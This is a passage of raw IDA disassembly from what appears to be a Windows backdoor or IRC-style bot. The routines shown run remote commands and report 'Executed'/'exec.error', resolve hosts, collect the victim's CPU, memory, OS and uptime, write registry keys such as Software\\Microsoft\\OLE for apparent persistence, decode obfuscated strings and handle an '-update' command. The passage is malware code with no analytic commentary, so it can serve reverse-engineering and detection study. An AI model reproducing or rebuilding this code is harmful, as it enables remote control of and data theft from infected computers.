[esp+178h+var_4], 10h call sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax call near ptr 77C1BF18h nop or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F30 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx call near ptr 2940000h nop lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 0E89050FFh, 23DAF6Eh, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 0AE28E890h, 448D023Dh, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0A1EAE850h, 6A90023Eh, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 0ACE8E890h dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23EA09Ch, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 9050FFFFh dd 3DAB99E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 9050FFFFh, 3DAA59E8h, 24448D02h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj call near ptr 27E0B10h nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F30 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 call near ptr 27E0B10h nop mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2820000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2810000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5F76F7 add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 2801083h nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2930000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, 